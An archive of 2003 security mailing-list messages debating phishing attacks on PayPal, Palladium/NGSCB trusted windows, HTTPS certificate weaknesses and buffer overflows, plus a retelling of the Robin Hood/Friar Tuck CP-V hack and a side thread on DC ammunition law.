From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Tue, 10 Jun 2003 09:19:19 -0600
Subject: virus attack on banks (was attack on paypal)
In-Reply-To: <4.2.2.20030608173129.00a99bb0@mail.earthlink.net>
References: <009201c32e0f$66d925c0$01c8a8c0@DaveHowe>
 <3EE32428.1173.13AC2C1@localhost>
Message-ID: <4.2.2.20030610091512.00c60ed0@mail.earthlink.net>

At 06:12 PM 6/8/2003 -0600, Anne & Lynn Wheeler wrote:
>at a recent cybersecurity conference, somebody made the statement that (of 
>the current outsider, internet exploits, approximately 1/3rd are buffer 
>overflows, 1/3rd are network traffic containing virus that infects a 
>machine because of automatic scripting, and 1/3 are social engineering 
>(convince somebody to divulge information). As far as I know, evesdropping 
>on network traffic  doesn't even show as a blip on the radar screen.

virus attempting to harvest ("shared-secret", single-factor) passwords at 
financial institutions
http//www.smh.com.au/articles/2003/06/10/1055010959747.html

and somewhat related:
http://www.garlic.com/~lynn/aepay11.htm#53 authentication white paper

--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm
   
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From rsalz at datapower.com  Tue Jun 10 06:42:57 2003
From: rsalz at datapower.com (Rich Salz)
Date: Tue, 10 Jun 2003 09:42:57 -0400 (EDT)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <29fb8c384fa72cbe9f6bbb0ca30c918a@dizum.com>
Message-ID: <Pine.LNX.4.44L0.0306100941050.30718-100000@smtp.datapower.com>

> For example, a proposal I saw recently which
> would have the OS decorate the borders of "trusted" windows with facts or
> images that an attacker wouldn't be able to predict: the name of your
> dog, or whatever.

But if the system is rooted, then the attacker merely has to find the
"today's secret word" entry in the registry and do the same thing.
Unless Windows is planning on getting real kernel-level kinds of protection.

> It was none other than Microsoft's NGSCB, nee Palladium.  See
> http://news.com.com/2100-1012_3-1000584.html?tag=fd_top:

See previous sentence. :)
        /r$

--
Rich Salz                  Chief Security Architect
DataPower Technology       http://www.datapower.com
XS40 XML Security Gateway  http://www.datapower.com/products/xs40.html
XML Security Overview      http://www.datapower.com/xmldev/xmlsecurity.html




From sunder at sunder.net  Tue Jun 10 07:22:32 2003
From: sunder at sunder.net (Sunder)
Date: Tue, 10 Jun 2003 10:22:32 -0400 (edt)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <29fb8c384fa72cbe9f6bbb0ca30c918a@dizum.com>
Message-ID: <Pine.BSO.4.21.0306101019260.30561-100000@anon7.arachelian.com>

It's simple.  It solves the problem that Microsoft Salesmen have.  In
order to sell shit, you have to make it look like gold.  Cee Eee Ohs have
heard it said that Microsoft software is insecure crap.  Now the Microsoft
Salesmen can do fancy demos with pretty colors and slick Operators Are
standing By, Act Now, *New*, Don't Delay, Improved, Secure, Bells Whistles
and Coolness demos and sign the suckers up.

Just like the wonderful ads that peppered NYC when Ex-Pee came out saying
"Reliable, and Secure."


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Tue, 10 Jun 2003, Nomen Nescio wrote:

> I don't see how this is going to work.  The concept seems to assume
> that there is a distinction between "trusted" and "untrusted" programs.
> But in the NGSCB architecture, Nexus Computing Agents (NCAs) can be
> written by anyone.  If you've loaded a Trojan application onto your
> machine, it can create an NCA, which would presumably be eligible to
> put up a "trusted" window.
> 
> So either you have to configure a different list of doggie names for
> every NCA (one for your banking program, one for Media Player, one for
> each online game you play, etc.), or else each NCA gets access to your
> Secret Master List of Doggie Names.  The first possibility is unmanageable
> and the second means that the trustedness of the window is meaningless.
> 
> So what good is this?  What problem does it solve?




From sunder at sunder.net  Tue Jun 10 07:28:12 2003
From: sunder at sunder.net (Sunder)
Date: Tue, 10 Jun 2003 10:28:12 -0400 (edt)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <Pine.LNX.4.44L0.0306100941050.30718-100000@smtp.datapower.
  com>
Message-ID: <Pine.BSO.4.21.0306101024200.30561-100000@anon7.arachelian.com>

Yes, >NOW< if you can load yourself into kernel space, you can do anything
and everything - Thou Art God to quote Heinlein.  This is true of every
OS.  Except if you add that nice little TCPA bugger which can verify the
kernel image you're running is the right and approved one. Q.E.D.

Look at the XBox hacks for ideas as to why it's not a trival issue, but
even so, one James Bond like buffer overflow in something everyone will
have marked as trusted (say IE 8.0, or a specially crafted Word 2005
macro), and the 3v1l h4x0r party is back on and you iz ownz0red once more.

It's not enough to fear Microsoft, you must learn to love it.  Give us 2
minutes of hate for Linux now brother!


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Tue, 10 Jun 2003, Rich Salz wrote:

> But if the system is rooted, then the attacker merely has to find the
> "today's secret word" entry in the registry and do the same thing.
> Unless Windows is planning on getting real kernel-level kinds of protection.
> 
> > It was none other than Microsoft's NGSCB, nee Palladium.  See
> > http://news.com.com/2100-1012_3-1000584.html?tag=fd_top:
> 
> See previous sentence. :)




From timcmay at got.net  Tue Jun 10 11:51:54 2003
From: timcmay at got.net (Tim May)
Date: Tue, 10 Jun 2003 11:51:54 -0700
Subject: unregistered shell
In-Reply-To: <F504A8CEE925D411AF4A00508B8BE90A0558D10C@exna07.securitydy
  namics.com>
Message-ID: <9AA79D88-9B74-11D7-B5E8-000A956B4C74@got.net>

On Tuesday, June 10, 2003, at 09:49  AM, Trei, Peter wrote:

>> Major Variola (ret)[SMTP:mv at cdc.gov]
>>
>> At 12:29 AM 6/10/03 -0700, Bill Stewart wrote:
>>> At 09:48 AM 06/09/2003 -0700, Major Variola (ret.) wrote:
>>>> the Capitol because it had a gasoline container strapped to its 
>>>> roof.
>>
>> But the real point is that ammo has to be registered.  Amazing.
>> I found an old, live cartridge in the desert last weekend, tossed it 
>> in
>> the car.  What if I lived near DC instead of SoCal?
>>
> Actually, ammunition is not registered as such, but in DC you
> are only allowed to possess ammunition suitable for one of your
> DC-registered firearms. This applies even to spent cartridge
> cases.
>
> If this guy didn't own a DC-registered shotgun of the same
> gauge as the shell found, then he's in violation. The car
> had California plates, so it seems plausible that he was
> a non-resident.
>

I believe it was the McClure-Volkmer Amendment (or somesuch spelling) 
of some years back that clarified the laws regarding interstate 
transport of firearms. Instead of having to know the details of every 
single state one might be driving through on a trip, one was exempted 
from the local firearms laws while the guns were locked up in a trunk 
or suitable lockable container. This was hailed at the time as a major 
step towards stopping one state from busting those from North Carolina, 
say, when they passed through Maryland on their way to a hunting trip 
in Maine.

The reasonable interpretation of McClure-Volkmer would have protected 
someone while in  their vehicle, and probably while at a motel in some 
state, but would not have protected those staying for more than what a 
simple trip would take.

I'm not surprised to hear that some jurisdictions think they can exempt 
themselves, especially for such trivial paper violations as having a 
shotgun shell.

Mexico is like this, too. Gringos have spent time in Mexican jails 
because they neglected to thoroughly inspect every square inch of their 
vehicles, and the shakedownistas found a .22 cartridge under the floor 
mats. (The intent was probably to collect $100 mordita.) All this while 
drug operations run more or less without interruption and as they are 
equipped with fully-automatic HKs and FALs, the Army-issue rifles. So 
they bust a tourist for having a .22 cartridge while MP-5s and Uzis 
abound. Typical government.)

As for Bill's point about a gas can strapped to the roof, this is a 
common way of carrying extra fuel, and is generally legal if the can is 
DOT approved (the red ones). LandCruisers and suchlike are often seen 
this way. As noted, safer than carrying them inside.

Of course, normal rights and liberties are dispensed with when mere 
suspicion of planning to use the gas is involved.

I'll bet this all gets kicked, unless an Arab was in the vehicle.


--Tim May




From ptrei at rsasecurity.com  Tue Jun 10 09:49:12 2003
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Tue, 10 Jun 2003 12:49:12 -0400
Subject: unregistered shell
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A0558D10C@exna07.securitydynamics.com>

> Major Variola (ret)[SMTP:mv at cdc.gov]
> 
> At 12:29 AM 6/10/03 -0700, Bill Stewart wrote:
> >At 09:48 AM 06/09/2003 -0700, Major Variola (ret.) wrote:
> >>the Capitol because it had a gasoline container strapped to its roof.
> 
> But the real point is that ammo has to be registered.  Amazing.
> I found an old, live cartridge in the desert last weekend, tossed it in
> the car.  What if I lived near DC instead of SoCal?
> 
Actually, ammunition is not registered as such, but in DC you
are only allowed to possess ammunition suitable for one of your
DC-registered firearms. This applies even to spent cartridge 
cases.

If this guy didn't own a DC-registered shotgun of the same 
gauge as the shell found, then he's in violation. The car
had California plates, so it seems plausible that he was 
a non-resident.

Peter Trei




From pgut001 at cs.auckland.ac.nz  Mon Jun  9 19:21:57 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 10 Jun 2003 14:21:57 +1200
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <200306100221.h5A2Lvn02156@medusa01.cs.auckland.ac.nz>

Amir Herzberg <amir at herzberg.name> writes:

>Ka Ping Yee, User Interface Design for Secure System, ICICS, LNCS 2513, 2002.

Ka-Ping Yee has a web page at http://zesty.ca/sid/ and a lot of interesting
things to say about secure HCI (and HCI in general), e.g. a characterisation
of safe systems vs. general-purpose systems:

  In order for Alice to use her computer usefully, she has to be able to
  instruct programs to do things for her.  In order for those programs to
  carry out tasks, she has to trust those programs with some authority.  So
  every useful operation involves making the system a little bit less safe.
  In order to keep the system from becoming unboundedly unsafe, Alice must
  also be able to make her system more safe.

  A system in an ultimately safe state is one that can't do anything other
  than what was planned ahead of time.  General-purpose computing is useful to
  Alice only because she can make unpredictable inputs into the system, asking
  it to do new things.

Peter.




From jamesd at echeque.com  Tue Jun 10 15:31:41 2003
From: jamesd at echeque.com (James A. Donald)
Date: Tue, 10 Jun 2003 15:31:41 -0700
Subject: An attack on paypal
In-Reply-To: <007301c32e23$cdddbce0$01c8a8c0@DaveHowe>
Message-ID: <3EE5F9DD.15532.696EBE8@localhost>

    --
On 9 Jun 2003 at 2:09, Dave Howe wrote:
> The problem is here, we are blaming the protective device for
> not being able to protect against the deliberate use of an
> attack that bypasses, not challenges it - by exploiting the
> gullibility or tendency to take the path of least resistance
> of the user. The real weakness in HTTPS is the tendency of
> certificates signed by Big Name CAs to be automagically
> trusted - even if you have never visited that site before.
> yes, you can fix this almost immediately by untrusting the
> root certificate - but then you have to manually verify each
> and every site at least once, and possibly every time if you
> don't mark the cert as "trusted" for future reference. To
> blame HTTPS for an attack where the user fills in a web form
> received via html-rendering email (no https involved at all)
> is more than a little unfair though.

How many attacks have there been based on automatic trust of
verisign's feckless ID checking?   Not many, possibly none.

That is not the weak point, not the point where the attacks
occur.   If the browser was set to accept self signed
certificates by default, it would make little difference to
security.

A wide variety of ways of getting big name certificates that
one should not have, have been discovered.   Attackers never
showed much interest. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     uJuAm4Xwyo4xTn0ozjBmW2ZqpI8Z3ru25WDmB7iw
     43PXj2QDpBfcahqs2aOleapJYsqtA6S36+hOdVkpR


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From jamesd at echeque.com  Tue Jun 10 15:31:41 2003
From: jamesd at echeque.com (James A. Donald)
Date: Tue, 10 Jun 2003 15:31:41 -0700
Subject: An attack on paypal
In-Reply-To: <4.2.2.20030608193518.00b28ae0@mail.earthlink.net>
References: <007301c32e23$cdddbce0$01c8a8c0@DaveHowe>
Message-ID: <3EE5F9DD.10939.696EC1A@localhost>

    --
On 8 Jun 2003 at 20:00, Anne & Lynn Wheeler wrote:
> that is why we coined the term merchant "comfort"
> certificates some time ago. my wife and I having done early
> work for payment gateway with small client/server startup in
> menlo park ... that had this thing called SSL/HTTPS ... and
> then having to perform due diligence on the major issuers of
> certificates .... we recognized 1) vulnerabilities in the
> certificate process and 2) information hiding of transaction
> in flight only addressed a very small portion of the
> vulnerabilities and exploits.

https is like a strong fortress wall that only goes half way
around the fortress.

The most expensive and inconvenient part of https, getting
certificates from verisign, is fairly useless.

The useful part of https is that it has stopped password
sniffing from networks, but the PKI part, where the server, but
not the client, is supposedly authenticated, does not do much
good. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     9ZQw+0/xh1y28CkGulSQSVxewfy71qzXGHI8KJbN
     4osBv1veq07jaMVh2zVetZVKqIRfQjiwJaKu99GqM




From frantz at pwpconsult.com  Tue Jun 10 15:39:38 2003
From: frantz at pwpconsult.com (Bill Frantz)
Date: Tue, 10 Jun 2003 15:39:38 -0700
Subject: An attack on paypal
In-Reply-To: <4.2.2.20030608173129.00a99bb0@mail.earthlink.net>
References: <009201c32e0f$66d925c0$01c8a8c0@DaveHowe>
 <3EE32428.1173.13AC2C1@localhost>
Message-ID: <v0311070bbb0c0d0b6fbd@[192.168.1.5]>

At 5:12 PM -0700 6/8/03, Anne & Lynn Wheeler wrote:
>somebody (else) commented (in the thread) that anybody that currently
>(still) writes code resulting in buffer overflow exploit maybe should be
>thrown in jail.

A nice essay, partially on the need to include technological protections
against human error, included the above paragraph.

IMHO, the problem is that the C language is just too error prone to be used
for most software.  In "Thirty Years Later:  Lessons from the Multics
Security Evaluation",  Paul A. Karger and Roger R. Schell
<www.acsac.org/2002/papers/classic-multics.pdf> credit the use of PL/I for
the lack of buffer overruns in Multics.  However, in the Unix/Linux/PC/Mac
world, a successor language has not yet appeared.

YMMV - Bill


-------------------------------------------------------------------------
Bill Frantz           | Due process for all    | Periwinkle -- Consulting
(408)356-8506         | used to be the         | 16345 Englewood Ave.
frantz at pwpconsult.com | American way.          | Los Gatos, CA 95032, USA



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From ashwood at msn.com  Tue Jun 10 19:20:27 2003
From: ashwood at msn.com (Joseph Ashwood)
Date: Tue, 10 Jun 2003 19:20:27 -0700
Subject: An attack on paypal --> secure UI for browsers
References: <557dd8f2519377887312df07a5dd0977@rebleep>
Message-ID: <018301c32fc1$719cf050$6601a8c0@JOSEPHAS>

----- Original Message ----- 
From: "Anonymous" <rebleep at bleep.dynip.com>
Subject:  Re: An attack on paypal --> secure UI for browsers


> In short, if Palladium comes with the ability to download site-specific
> DLLs that can act as NCAs

Ok what flavor of crack are you smoking? Because I can tell from here that's
some strong stuff. Downloading random DLLs that are given complete access to
private information is one of the worst concepts that anyone has ever come
up with, even if they are signed by a "trusted" source. Just look at the
horrifically long list of issues with ActiveX, even with WindowsXP (which
hasn't been around that long) you're already looking at more than half a
dozen, and IIRC win95 had about 50. This has less to do with "windows is
bad" than with "secure programming is hard." Arbitrarily trusting anyone to
write a secure program simply doesn't work, especially when it's something
sophisticated.

Now for the much more fundamental issue of your statement. Palladium will
never "download site-specific" anything. Palladium is a hardware technology,
not a web browser.

I will refrain from saying Paladium is a bad idea, simply because I see some
potentially very lucrative (for me) options for it's use.
                    Joe




From morlockelloi at yahoo.com  Tue Jun 10 19:29:55 2003
From: morlockelloi at yahoo.com (Morlock Elloi)
Date: Tue, 10 Jun 2003 19:29:55 -0700 (PDT)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <557dd8f2519377887312df07a5dd0977@rebleep>
Message-ID: <20030611022955.44312.qmail@web40608.mail.yahoo.com>

> The solution to this is Palladium (NGSCB).
> 
> You'd want each ecommerce site to download a Nexus Computing Agent into
> the client.  This should be no more difficult than downloading an Active-X
> control or some other DLL.  The NCA has a manifest file associated with it

No shit? This is moronic. But then it reflects the impaired cognitive abilities
of corpdrones in mintel.

I pay for the "computer", and then all these corporations start downloading
shit to my "computer" in order to make it safe for me to use it, right ? I am
lay person and need to trust these people, as I am clueless about stuff they
download. But their web page says it's good.

This all happens *after* I buy the computer.

So, to recap, I pay several $K for the "computer" and then have to customize it
so that it becomes "safe". The computer, as malladium authenticates the
computer. 

Why do I want $3,000 authentication token ?

No, mintel making money is not the right answer. Try again.



=====
end
(of original message)

Y-a*h*o-o (yes, they scan for this) spam follows:

__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com




From rebleep at bleep.dynip.com  Tue Jun 10 18:36:10 2003
From: rebleep at bleep.dynip.com (Anonymous)
Date: Tue, 10 Jun 2003 21:36:10 -0400
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <557dd8f2519377887312df07a5dd0977@rebleep>

The problem to be solved is this.  Spoofed sites can acquire user
credentials, especially passwords, and then use those to impersonate the
user on the real sites.  With paypal and e-gold, this allows stealing
real money.

Using client certificates to authenticate would solve this, because
even if the user got fooled and authenticated to the spoofed site, the
attacker wouldn't learn the client cert secret key and so would not be
able to masquerade as the user.

The problem (among others) is that this allows a virus to steal the
client cert.  If it is protected by a password, the malware must hang
around long enough for the user to unlock the cert (perhaps because the
malware sent a spoofed email calling for the user to visit the site,
even the real site!).  It can then read the user's keystrokes and acquire
the password.  Now it has the cert and password and can impersonate the
user at will.

The solution to this is Palladium (NGSCB).

You'd want each ecommerce site to download a Nexus Computing Agent into
the client.  This should be no more difficult than downloading an Active-X
control or some other DLL.  The NCA has a manifest file associated with it
that contains the ecommerce site's signing key.  This allows the NCA to be
effectively locked to that key.

The user's site-specific client certificate would be sealed to this NCA.
That means that no other NCA could get access to the client cert for
that site, nor could any legacy software.  All this is protected by the
Palladium hardware and software.

If a password is used for further security, to unlock the client cert
(in addition to the NCA-specific encryption), it can use a secure
channel to the NCA so that no keystroke loggers can steal the password.
(However, as mentioned in a previous mail, this may not stop rogue NCA's
from fooling the user by pretending to be the ecommerce site's NCA and
picking up the password.  It's not clear that adding a password really
increases security.  Fortunately the NCA security itself is already
vastly stronger than anything available on a PC today.)

In short, if Palladium comes with the ability to download site-specific
DLLs that can act as NCAs, it should allow for solving the spoofed-site
problem once and for all.  When you login to paypal or e-gold, you would
authenticate yourself using a cert that only those sites could see.
This can be done in the framework of standard SSL, but would require a
Palladium-aware browser.




From pgut001 at cs.auckland.ac.nz  Tue Jun 10 06:16:06 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 11 Jun 2003 01:16:06 +1200
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <200306101316.h5ADG6504237@medusa01.cs.auckland.ac.nz>

Nomen Nescio <nobody at dizum.com> writes:

>I don't see how this is going to work.  The concept seems to assume that
>there is a distinction between "trusted" and "untrusted" programs. But in the
>NGSCB architecture, Nexus Computing Agents (NCAs) can be written by anyone.
>If you've loaded a Trojan application onto your machine, it can create an NCA,
>which would presumably be eligible to put up a "trusted" window.
>
>So either you have to configure a different list of doggie names for every
>NCA (one for your banking program, one for Media Player, one for each online
>game you play, etc.), or else each NCA gets access to your Secret Master List
>of Doggie Names.  The first possibility is unmanageable and the second means
>that the trustedness of the window is meaningless.

Maybe MS will implement something like the secure attention key in the old VAX
A1 VMM (Ctrl-Alt-Del already serves this purpose for logins) which gives you a
guaranteed non-spoofed interface to the kernel (see for example "A
Retrospective on the VAX VMM Security Kernel" by Karger et al for more
information on this).  They certainly have the VMS knowhow :-).

Peter.


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From nobody at dizum.com  Tue Jun 10 18:30:10 2003
From: nobody at dizum.com (Nomen Nescio)
Date: Wed, 11 Jun 2003 03:30:10 +0200 (CEST)
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <a5137043b28278dfe417c161a61d8ac0@dizum.com>

Adam Lydick writes:

> I'd guess that no applications (besides the secure nexus) would
> have access to your "list of doggie names", just the ability to display
> it. The list just indicates that you are seeing a window from one of
> your partitioned and verified applications. I would also assume the
> window would get decorated with the name of the trusted application (not
> just your secret list). Thus you only need a single secret list to
> handle all of your "authorized" applications.

That makes sense.  However it puts the burden onto the user to closely
inspect his window frames in order to make sure that he is talking
to the program (or NCA in Palladium) that he thinks he is talking to.
It also introduces the problem of program-name spoofing; you might be
given a dialog to enter your password for Paypa1 or E-Go1d.

If users were that careful, we wouldn't have these kinds of problems in
the first place.




From nobody at cryptofortress.com  Wed Jun 11 02:46:28 2003
From: nobody at cryptofortress.com (Anonymous)
Date: Wed, 11 Jun 2003 04:46:28 -0500 (CDT)
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <e859def3b45befc535fa83384d8cf7bf@remailer.cryptofortress.com>

Joseph Ashwood writes:

> Ok what flavor of crack are you smoking? Because I can tell from here that's 
> some strong stuff. Downloading random DLLs that are given complete access to 
> private information is one of the worst concepts that anyone has ever come 
> up with, even if they are signed by a "trusted" source. Just look at the 
> horrifically long list of issues with ActiveX, even with WindowsXP (which 
> hasn't been around that long) you're already looking at more than half a 
> dozen, and IIRC win95 had about 50. This has less to do with "windows is 
> bad" than with "secure programming is hard." Arbitrarily trusting anyone to 
> write a secure program simply doesn't work, especially when it's something 
> sophisticated. 

You clearly know virtually nothing about Palladium.  NCAs do not have
"complete access to private information".  Quite the opposite.  Rather,
NCAs have the power to protect private information such that no other
software on the machine can access it.  They do so by using the Palladium
software and hardware to encrypt the private data.  The encryption is
done in such a way that it is "sealed" to the particular NCA, and no other
software is allowed to use the Palladium crypto hardware to decrypt it.

In the proposed usage, an NCA associated with an ecommerce site would seal
the data which is used by the user to authenticate to the remote site.
The authentication data doesn't actually have to be a certificate with
associated key, but that would be one possibility.  Only NCAs signed by
that ecommerce site's key would be able to unseal and access the user's
authentication credentials.  This prevents rogue software from stealing
them and impersonating the user.

> Now for the much more fundamental issue of your statement. Palladium will 
> never "download site-specific" anything. Palladium is a hardware technology, 
> not a web browser. 

If you read the entire message it was clearly referring to a
Palladium-enabled web browser.  And Palladium is more than a hardware
technology; it includes hardware and software components.

> I will refrain from saying Paladium is a bad idea, simply because I see some 
> potentially very lucrative (for me) options for it's use. 

Fine, at least you admit you're a whore.  But you'll probably do even
better if you learn how it actually works.  Seriously, have you read any
of the documents linked from http://www.microsoft.com/resources/ngscb/?




From ekr at rtfm.com  Wed Jun 11 09:51:12 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 11 Jun 2003 09:51:12 -0700
Subject: An attack on paypal
In-Reply-To: <Pine.BSO.4.21.0306111049300.463-100000@anon7.arachelian.co
  m>
References: <Pine.BSO.4.21.0306111049300.463-100000@anon7.arachelian.com
  >
Message-ID: <kj4r2wtv5r.fsf@romeo.rtfm.com>

Sunder <sunder at sunder.net> writes:

> The worst trouble I've had with https is that you have no way to use host
> header names to differentiate between sites that require different SSL
> certificates.
>
> i.e. www.foo.com www.bar.com www.baz.com can't all live on the same IP and
> have individual ssl certs for https. :(  This is because the cert is
> exchanged before the http 1.1 layer can say "I want www.bar.com" 
> 
> So you need to waste IP's for this.  Since the browser standards are
> already in place, it's unlikely to be to find a workaround.  i.e. be able
> to switch to a different virtual host after you've established the ssl
> session.  :(
This is being fixed. See draft-ietf-tls-extensions-06.txt

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/




From Vincent.Penquerch at artworks.co.uk  Wed Jun 11 02:27:32 2003
From: Vincent.Penquerch at artworks.co.uk (Vincent Penquerc'h)
Date: Wed, 11 Jun 2003 10:27:32 +0100
Subject: An attack on paypal
Message-ID: <B14C9D7F1977D111AD740060970ACBDA01893133@warhol>

> the lack of buffer overruns in Multics.  However, in the 
> Unix/Linux/PC/Mac
> world, a successor language has not yet appeared.

Work on the existing C/C++ language will have a better chance
of actually being used earlier. Not that it removes the problem
entirely, but it should catches a lot of easy stack smashing bugs.

http://gcc.gnu.org/projects/bp/main.html

-- 
Vincent Penquerc'h 

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From sunder at sunder.net  Wed Jun 11 07:56:21 2003
From: sunder at sunder.net (Sunder)
Date: Wed, 11 Jun 2003 10:56:21 -0400 (edt)
Subject: An attack on paypal
In-Reply-To: <3EE5F9DD.10939.696EC1A@localhost>
Message-ID: <Pine.BSO.4.21.0306111049300.463-100000@anon7.arachelian.com>

The worst trouble I've had with https is that you have no way to use host
header names to differentiate between sites that require different SSL
certificates.

i.e. www.foo.com www.bar.com www.baz.com can't all live on the same IP and
have individual ssl certs for https. :(  This is because the cert is
exchanged before the http 1.1 layer can say "I want www.bar.com" 

So you need to waste IP's for this.  Since the browser standards are
already in place, it's unlikely to be to find a workaround.  i.e. be able
to switch to a different virtual host after you've established the ssl
session.  :(

Personally I find thawte certs to be much cheaper than verisign and they
work just as well.

In any case, anyone is free to do the same thing AlterNIC did - become
your own free CA.  You'll just have to convince everyone else to add your
CA's cert into their browser.  You might be able to get the Mozilla guys
to do this, good luck with the beast of Redmond though.

Either way, having a pop-up isn't that big deal so long as you're sure of
the site you're connecting to.

In either case, we wouldn't need to worry about paying Verisign or anyone
else if we had properly secured DNS.  Then you could trust those pop-up
self-signed SSL cert warnings.


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Tue, 10 Jun 2003, James A. Donald wrote:

> The most expensive and inconvenient part of https, getting
> certificates from verisign, is fairly useless.
> 
> The useful part of https is that it has stopped password
> sniffing from networks, but the PKI part, where the server, but
> not the client, is supposedly authenticated, does not do much
> good. 




From mv at cdc.gov  Wed Jun 11 11:01:56 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Wed, 11 Jun 2003 11:01:56 -0700
Subject: An attack on paypal
Message-ID: <3EE76E93.ACAE0DF3@cdc.gov>

At 03:39 PM 6/10/03 -0700, Bill Frantz wrote:
>At 5:12 PM -0700 6/8/03, Anne & Lynn Wheeler wrote:
>>somebody (else) commented (in the thread) that anybody that currently
>>(still) writes code resulting in buffer overflow exploit maybe should
be
>>thrown in jail.

Not a very friendly bug-submission mechanism :-)

>IMHO, the problem is that the C language is just too error prone to be
used
>for most software.  In "Thirty Years Later:  Lessons from the Multics
>Security Evaluation",  Paul A. Karger and Roger R. Schell
><www.acsac.org/2002/papers/classic-multics.pdf> credit the use of PL/I
for
>the lack of buffer overruns in Multics.  However, in the
Unix/Linux/PC/Mac
>world, a successor language has not yet appeared.

What about Java?  Apart from implementation bugs, its secure by design.

---
"and then you go to jail" is a bad error-handler for a protocol.




From sunder at sunder.net  Wed Jun 11 08:07:20 2003
From: sunder at sunder.net (Sunder)
Date: Wed, 11 Jun 2003 11:07:20 -0400 (edt)
Subject: An attack on paypal
In-Reply-To: <v0311070bbb0c0d0b6fbd@[192.168.1.5]>
Message-ID: <Pine.BSO.4.21.0306111101240.463-100000@anon7.arachelian.com>

The problem with these stop crackers and hackers by law is that it allows
software developers to get away with leaving huge gaping security holes
unfixed.  Anecodatal evidence: The classic well known Robin Hood and Friar
Tuck "hack".

These days, the bug wouldn't get fixed and the guys reporting it would
wind up in jail because they "convinced" the OS authors to fix the
bug.  IMHO, not the right way to go at all.

from http://ftp.arl.mil/ftp/unix-wizards/V16%23017
scroll down a bit more than half way down the page (also available from 
most other GNU sources)

     Back in the mid-1970s, several of the system support staff at
     Motorola discovered a relatively simple way to crack system
     security on the Xerox CP-V timesharing system.  Through a simple
     programming strategy, it was possible for a user program to trick
     the system into running a portion of the program in `master mode'
     (supervisor state), in which memory protection does not apply.  The
     program could then poke a large value into its `privilege level'
     byte (normally write-protected) and could then proceed to bypass
     all levels of security within the file-management system, patch the
     system monitor, and do numerous other interesting things.  In
     short, the barn door was wide open.

     Motorola quite properly reported this problem to Xerox via an
     official `level 1 SIDR' (a bug report with an intended urgency of
     `needs to be fixed yesterday').  Because the text of each SIDR was
     entered into a database that could be viewed by quite a number of
     people, Motorola followed the approved procedure: they simply
     reported the problem as `Security SIDR', and attached all of the
     necessary documentation, ways-to-reproduce, etc.

     The CP-V people at Xerox sat on their thumbs; they either didn't
     realize the severity of the problem, or didn't assign the necessary
     operating-system-staff resources to develop and distribute an
     official patch.

     Months passed.  The Motorola guys pestered their Xerox
     field-support rep, to no avail.  Finally they decided to take
     direct action, to demonstrate to Xerox management just how easily
     the system could be cracked and just how thoroughly the security
     safeguards could be subverted.

     They dug around in the operating-system listings and devised a
     thoroughly devilish set of patches.  These patches were then
     incorporated into a pair of programs called `Robin Hood' and `Friar
     Tuck'.  Robin Hood and Friar Tuck were designed to run as `ghost
     jobs' (daemons, in UNIX terminology); they would use the existing
     loophole to subvert system security, install the necessary patches,
     and then keep an eye on one another's statuses in order to keep the
     system operator (in effect, the superuser) from aborting them.

     One fine day, the system operator on the main CP-V software
     development system in El Segundo was surprised by a number of
     unusual phenomena.  These included the following:

        * Tape drives would rewind and dismount their tapes in the
          middle of a job.
        * Disk drives would seek back and forth so rapidly that they
          would attempt to walk across the floor (see {walking drives}).
        * The card-punch output device would occasionally start up of
          itself and punch a {lace card}.  These would usually jam in
          the punch.
        * The console would print snide and insulting messages from
          Robin Hood to Friar Tuck, or vice versa.
        * The Xerox card reader had two output stackers; it could be
          instructed to stack into A, stack into B, or stack into A
          (unless a card was unreadable, in which case the bad card was
          placed into stacker B).  One of the patches installed by the
          ghosts added some code to the card-reader driver... after
          reading a card, it would flip over to the opposite stacker.
          As a result, card decks would divide themselves in half when
          they were read, leaving the operator to recollate them
          manually.

